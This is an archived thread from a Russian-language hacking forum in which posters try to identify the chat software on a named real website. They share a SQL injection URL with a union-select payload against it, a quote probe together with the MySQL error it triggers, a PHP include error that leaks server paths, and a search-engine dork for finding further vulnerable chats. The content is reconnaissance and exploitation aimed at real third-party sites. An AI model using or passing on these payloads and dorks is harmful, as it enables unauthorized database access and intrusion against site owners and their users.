PDA

Просмотр полной версии : Кто может определить двиг чата?


Jenizix
31.01.2006, 04:27
сам чат: http://www.101.ru/chat/
sql-inj: http://www.101.ru/chat/people.php?idchat=rus&f=-1%27+union+select+1,2,3/*

Если кто может на глаз пределить что за чат отпишите плз.

Tem
31.01.2006, 19:35
Если я не ошибаюсь то это самаписный чат,но я на все 100 не уверен, и такая вешь есть тама http://www.101.ru/chat/getemo.php?idchat=asAS , но это не инклуд.

Electro
31.01.2006, 20:44
Если я не ошибаюсь то это самаписный чат,но я на все 100 не уверен, и такая вешь есть тама http://www.101.ru/chat/getemo.php?idchat=asAS , но это не инклуд.
Я вот днем посмотрел и хотел ответить точно так же но потом отвлекся ))) :)

¤ ¤ ¤Эльф¤ ¤ ¤
01.02.2006, 11:14
people.php?idchat=rus&f='
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' order by login asc' at line 2

whoin.php?idchat=bred
Warning: main(/sites/www.101.ru/htdocs/cdata/configinc/data/config.inc): failed to open stream: No such file or directory in /snfs/www.101.ru/htdocs/chat/whoin.php on line 7

И здеси дыры присутствуют

inurl: people.php?idchat= тут еще целых 5 чатов